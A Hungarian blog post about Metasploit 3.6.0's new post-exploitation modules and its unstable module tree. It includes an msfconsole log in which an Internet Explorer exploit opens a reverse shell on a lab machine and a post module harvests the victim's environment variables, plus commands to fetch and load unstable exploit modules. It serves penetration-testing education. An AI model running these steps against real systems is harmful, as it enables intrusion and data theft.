Nem rég jelent meg a Metasploit Framework legújabb, 3.6.0-ás változata, amely egy új modultípust vezet be, néhány napja pedig egy új unstable modulfejlesztői fa is megjelent az SVN-ben. Ezekről szeretnék néhány szóban megemlékezni, tekintettel arra, hogy a fentiek lényeges változásokhoz vezethetnek a keretrendszer használatában.
Post modulok
Az új modulcsoport a post-exploitation moduloké. Olyan szkriptek kerülhetnek ide, melyek a sikeres távoli hibakihasználást követő tevékenységek automatizálásában játszhatnak szerepet - pl. érzékeny adatokat tartalmazó fájlok megkeresése és letöltése, rejtőzés, perzisztencia, jogosultságkiterjesztés...
A post modulok működése valahogy így néz ki a gyakorlatban:
msf exploit(ms11_003_ie_css_import) > exploit [*] Exploit running as background job. msf exploit(ms11_003_ie_css_import) > [*] Started reverse handler on 192.168.56.1:4444 ... [*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:49762) at Sat Mar 12 17:36:36 +0100 2011 [*] Session ID 1 (192.168.56.1:4444 -> 192.168.56.1:49762) processing InitialAutoRunScript 'migrate -f' msf exploit(ms11_003_ie_css_import) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 shell windows 192.168.56.1:4444 -> 192.168.56.1:49762 msf exploit(ms11_003_ie_css_import) > use post/multi/gather/env msf post(env) > set session 1 session => 1 msf post(env) > show options Module options (post/multi/gather/env): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on. msf post(env) > exploit ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\hax\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=HAX-PC ComSpec=C:\Windows\system32\cmd.exe FP_NO_HOST_CHECK=NO HKCU_S=\REGISTRY\CUSER\Software HKLM_S=\REGISTRY\MACHINE\Software HOMEDRIVE=C: HOMEPATH=\Users\hax LOCALAPPDATA=C:\Users\hax\AppData\Local LOGONSERVER=\\HAX-PC MOZ_PLUGIN_PATH=C:\Program Files\Foxit Software\Foxit Reader\plugins\ NUMBER_OF_PROCESSORS=1 OS=Windows_NT Path=C:\Program Files\Internet Explorer;;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 37 Stepping 5, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=2505 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files PROMPT=$P$G PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Users\hax\AppData\Local\Temp\Low TMP=C:\Users\hax\AppData\Local\Temp\Low USERDOMAIN=hax-PC USERNAME=hax USERPROFILE=C:\Users\hax windir=C:\Windows [*] Post module execution completed
Aki ismert az MSF-t, tudja, hogy ezek a feladatok eddig jórészt Meterpreter szkriptekre voltak bízva. Az új megközelítés abban segít, hogy a post modulok használata és fejlesztése operációsrendszer-független lehessen. Ezeket modulokat az Msf::Post osztályból kell származtatni, és ugyaninnen származnak azok a mixinek, melyek a különböző rendszerekhez történő hozzáférést biztosítják (ezeken kívül persze mások is használhatók). A konkrét megvalósításokat a lib/core/post alatt kell keresni.
Természetesen nem minden funkciót lehet vagy érdemes ilyen szintre absztrahálni. Míg a fájlhozzáférés vagy a környezeti változók kezelése minden rendszeren hasonló, a rendszerleíró adatbázis tipikusan windowsos találmány. De ahogy a fenti példán is látszik, a post modulok közvetlenül az exploit payloadok által konstruált session objektumokhoz csatlakoznak, melyek a modulok belsejéből is elérhetők, így a rendszerspecifikus feladatok ugyanúgy elvégezhetők maradnak egy post modulban, mint egy Meterpreter szkriptben. A nagy elterjedtségre való tekintettel egyébként utóbbiakat még jó ideig támogatni fogja a keretrendszer, nem kell sietni az átírással.
Az unstable modul fa
HD Moore, a keretrendszer vezető fejlesztője arról számolt be az MSF blogon, hogy sok modul csak apróbb hibák miatt maradt ki a trunkból, ahol elsődleges szempontként kezelik a modulok megbízhatóságát. Ettől természetesen egy modul lehet még használható, vagy egy másik fejlesztő a szép számú community-ből veheti a fáradtságot a szkript készre-csiszolására, ezért kár ezeket a modulokat visszatartani.
A most bejelentett unstable ág félkész illetve megbízhatatlan modulokat tartalmaz, már most egyebek mellett több böngésző, illetve helyi windows exploittal, melyek mindenképpen megérdemlik a figyelmet a penteszterek részéről.
Az unstable modulokat az
svn co https://metasploit.com/svn/framework3/unstable/modules/ ~/.msf3/unstable/
paranccsal lehet letölteni, és az msfconsolban kiadott
msf> setg MsfModulePaths /home/USERNAME/.msf3/unstable/
msf> save
parancsokkal lehet megoldani automatikus betöltésüket.
Remélhetőleg ez a lépés nagy lökést fog adni a Metasploit modulok már most sem gyenge iramú fejlesztésének!